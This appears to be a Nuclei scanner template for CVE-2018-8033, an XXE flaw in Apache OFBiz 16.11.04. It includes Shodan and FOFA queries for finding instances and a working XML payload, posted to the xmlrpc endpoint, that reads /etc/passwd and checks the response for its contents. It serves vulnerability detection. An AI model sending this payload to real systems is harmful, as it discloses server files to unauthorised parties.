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Apache OFBiz 16.11.04 - XML Entity Injection

ID: CVE-2018-8033

Severity: high

Author: pikpikcu

Tags: cve,cve2018,apache,ofbiz,xxe

Apache OFBiz 16.11.04 is susceptible to XML external entity injection (XXE injection).

id: CVE-2018-8033
info:
name: Apache OFBiz 16.11.04 - XML Entity Injection
author: pikpikcu
severity: high
description: |
Apache OFBiz 16.11.04 is susceptible to XML external entity injection (XXE injection).
impact: |
Successful exploitation of this vulnerability could lead to information disclosure, denial of service.
remediation: |
Apply the necessary patches or upgrade to a non-vulnerable version of Apache OFBiz.
reference:
- https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2018-8033
- https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777%40%3Cuser.ofbiz.apache.org%3E
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-8033
cwe-id: CWE-200
epss-score: 0.04526
epss-percentile: 0.92473
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: ofbiz
shodan-query:
- http.html:"ofbiz"
- ofbiz.visitor=
fofa-query:
- body="ofbiz"
- app="apache_ofbiz"
tags: cve,cve2018,apache,ofbiz,xxe
http:
- raw:
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022057fecd0488493d402fd6ebaacbda569e9a215224c28ce2e050f6f803675af2b102204129a23dd77eee0b8734c671698364b3e535c8c5567ae6cba4eb4fee59c25e87:922c64590222798bb761d5b6d8e72950

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